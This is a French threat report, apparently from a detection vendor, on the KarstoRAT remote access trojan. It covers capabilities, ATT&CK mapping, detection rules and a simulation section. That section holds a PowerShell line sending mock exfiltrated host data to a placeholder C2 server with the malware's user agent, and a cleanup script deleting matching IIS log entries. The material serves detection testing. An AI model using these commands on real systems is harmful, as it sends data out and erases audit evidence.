Un examen approfondi du malware novateur et furtif KarstoRAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
KarstoRAT est un cheval de Troie d’accès à distance récemment identifié, capable de collecter des informations systèmes, de capturer des flux audio et de webcam, de prendre des captures d’écran, de journaliser les frappes et de voler des jetons d’authentification. Le logiciel malveillant maintient sa persistance, communique avec son serveur de commande et de contrôle via HTTP à travers un agent utilisateur personnalisé distinctif, et peut récupérer des charges utiles supplémentaires pour des activités ultérieures. Il contient également des fonctions disruptives, notamment l’inversion de l’écran et la lecture forcée de l’audio.
Enquête
LevelBlue SpiderLabs a examiné le flux d’exécution de KarstoRAT, ses communications de commande et de contrôle, ses routines d’exfiltration, et ses méthodes de persistance. Le rapport met en évidence une boucle infinie de deux secondes utilisée pour maintenir le logiciel malveillant en fonctionnement et décrit les STARTUP_ON and STARTUP_OFF commandes qui contrôlent le comportement de lancement automatique. Les chercheurs ont également documenté la capacité du logiciel malveillant à changer le fond d’écran du bureau et à se supprimer sur instruction.
Atténuation
Les efforts de détection devraient se concentrer sur l’agent utilisateur HTTP unique du logiciel malveillant, les entrées de registre suspectes liées au démarrage, et le comportement anormal des processus de boucle. Les défenses des endpoints devraient également surveiller l’activité de type sans fichier décrite dans le rapport et bloquer les binaires inconnus distribués via leurre de marketplace Roblox factice.
Réponse
Si KarstoRAT est identifié, isolez l’appareil affecté, préservez les preuves forensiques, y compris le trafic HTTP et les artefacts de démarrage, et éliminez tous les mécanismes de persistance. Les organisations devraient faire tourner les identifiants exposés et continuer à surveiller toute charge utile secondaire qui aurait pu être téléchargée après la compromission initiale.
"graph TB %% Class definitions classDef action fill:#99ccff classDef persistence fill:#ffcc99 classDef credential fill:#ff9999 classDef collection fill:#ccffcc classDef discovery fill:#ccccff classDef impact fill:#ffb347 classDef defense fill:#d3d3d3 %% Node definitions action_user_execution["<b>Action</b> – <b>T1204.001 Exécution de l’utilisateur : Lien malveillant</b><br/>La victime clique sur un lien de marketplace Roblox factice (ingénierie sociale)."] class action_user_execution action persistence_boot_script["<b>Persistance</b> – <b>T1037 Scripts d’initialisation au démarrage ou à la connexion</b><br/>Le logiciel malveillant s’enregistre dans STARTUP_ON/OFF pour s’exécuter automatiquement au démarrage ou à la connexion."] class persistence_boot_script persistence credential_keylogging["<b>Accès aux identifiants</b> – <b>T1056.001 Capture d’entrée : Journalisation des frappes</b><br/>Le logiciel malveillant enregistre les frappes pour capturer les identifiants et d’autres données sensibles."] class credential_keylogging credential collection_screen_capture["<b>Collecte</b> – <b>T1113 Capture d’écran</b><br/>Le logiciel malveillant capture périodiquement des captures d’écran du bureau de la victime."] class collection_screen_capture collection collection_audio_capture["<b>Collecte</b> – <b>T1123 Capture audio</b><br/>Le logiciel malveillant enregistre l’audio du microphone du système."] class collection_audio_capture collection collection_video_capture["<b>Collecte</b> – <b>T1125 Capture vidéo</b><br/>Le logiciel malveillant accède à la webcam pour enregistrer la vidéo de la victime."] class collection_video_capture collection discovery_process["<b>Découverte</b> – <b>T1057 Découverte des processus</b><br/>Le logiciel malveillant énumère les processus en cours d’exécution pour identifier les outils de sécurité ou applications de valeur."] class discovery_process discovery discovery_hardware["<b>Découverte</b> – <b>T1592.001 Collecte d’informations sur l’hôte victime : Matériel</b><br/>Le logiciel malveillant collecte des détails matériels tels que le CPU, la RAM et le GPU."] class discovery_hardware discovery discovery_software["<b>Découverte</b> – <b>T1592.002 Collecte d’informations sur l’hôte victime : Logiciel</b><br/>Le logiciel malveillant collecte les versions des logiciels installés et les correctifs."] class discovery_software discovery discovery_firmware["<b>Découverte</b> – <b>T1592.003 Collecte d’informations sur l’hôte victime : Firmware</b><br/>Le logiciel malveillant extrait les informations de firmware et BIOS."] class discovery_firmware discovery discovery_config["<b>Découverte</b> – <b>T1592.004 Collecte d’informations sur l’hôte victime : Configuration client</b><br/>Le logiciel malveillant collecte les paramètres de configuration tels que la langue, le fuseau horaire, et les paramètres réseau."] class discovery_config discovery impact_remote_desktop["<b>Impact</b> – <b>T1219.002 Logiciel de bureau distant</b><br/>Le logiciel malveillant utilise les capacités du bureau distant pour modifier le fond d’écran, inverser l’affichage, et échanger les boutons de la souris."] class impact_remote_desktop impact defense_self_destruct["<b>Esquive de la défense</b> – <b>T1027.005 Suppression d’indicateurs dans les outils</b><br/>Le logiciel malveillant s’autodétruit et supprime ses fichiers pour effacer les preuves."] class defense_self_destruct defense %% Connections action_user_execution –>|leads_to| persistence_boot_script persistence_boot_script –>|enables| credential_keylogging credential_keylogging –>|enables| collection_screen_capture collection_screen_capture –>|enables| collection_audio_capture collection_audio_capture –>|enables| collection_video_capture collection_video_capture –>|enables| discovery_process discovery_process –>|leads_to| discovery_hardware discovery_hardware –>|leads_to| discovery_software discovery_software –>|leads_to| discovery_firmware discovery_firmware –>|leads_to| discovery_config discovery_config –>|enables| impact_remote_desktop impact_remote_desktop –>|triggers| defense_self_destruct "
Flux d’Attaque
Détections
Escalade de privilèges (contournement de l’UAC) dans FodHelper (via registry_event)
Voir
Points possibles de persistance [ASEPs – Hive logiciels/NTUSER] (via registry_event)
Voir
Utilisation possible de Schtasks ou AT pour la persistance (via cmdline)
Voir
Utilisation possible de PING pour un retard d’exécution (via cmdline)
Voir
Binaire / Scripts suspects dans l’emplacement de démarrage automatique (via file_event)
Voir
Tentative possible de communication de domaine de recherche d’IP (via dns)
Voir
Service possible de tunneling de port (via dns)
Voir
Détection de la communication C2 de KarstoRAT [Connexion réseau Windows]
Voir
Détection des activités du logiciel malveillant KarstoRAT [Création de processus Windows]
Voir
Exécution de Simulation
Prérequis : Le contrôle pré-vol de Télémetrie et de Base doit être passé.
Justification : Cette section détaille l’exécution précise de la technique adverse (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémetrie exacte attendue par la logique de détection.
-
Narratif et Commandes d’Attaque :
L’attaquant a obtenu un point d’appui sur le réseau de la victime et souhaite établir un canal de commande et de contrôle pour KarstoRAT. Pour se fondre dans le trafic légitime, le logiciel malveillant utilise une chaîne de l’agent utilisateur codée en dur « SecurityNotifier ». L’attaquant exécute une ligne de commande PowerShell sur l’hôte compromis qui émet un POST HTTP au serveur C2, en intégrant l’en-tête UA. La requête comprend une petite charge utile JSON imitant les données exfiltrées, suffisant pour déclencher la règle sigma. -
Script de Test de Régression :
# Simulation C2 de KarstoRAT – PowerShell $c2Url = "http://<webserver>/karsto_c2" $payload = @{ host = $env:COMPUTERNAME data = "données exfiltrées d'exemple" } | ConvertTo-Json $headers = @{ "User-Agent" = "SecurityNotifier" "Content-Type" = "application/json" } try { Invoke-WebRequest -Uri $c2Url ` -Method POST ` -Headers $headers ` -Body $payload ` -UseBasicParsing Write-Host "Requête C2 envoyée." } catch { Write-Error "Échec de l'envoi de la requête C2 : $_" } -
Commandes de Nettoyage :
# Supprimer la requête générée des journaux IIS (nécessite des droits admin) $logPath = "C:inetpublogsLogFilesW3SVC1" Get-ChildItem -Path $logPath -Filter "*.log" | ForEach-Object { (Get-Content $_.FullName) | Where-Object { $_ -notmatch "SecurityNotifier" } | Set-Content $_.FullName } Write-Host "Journaux nettoyés."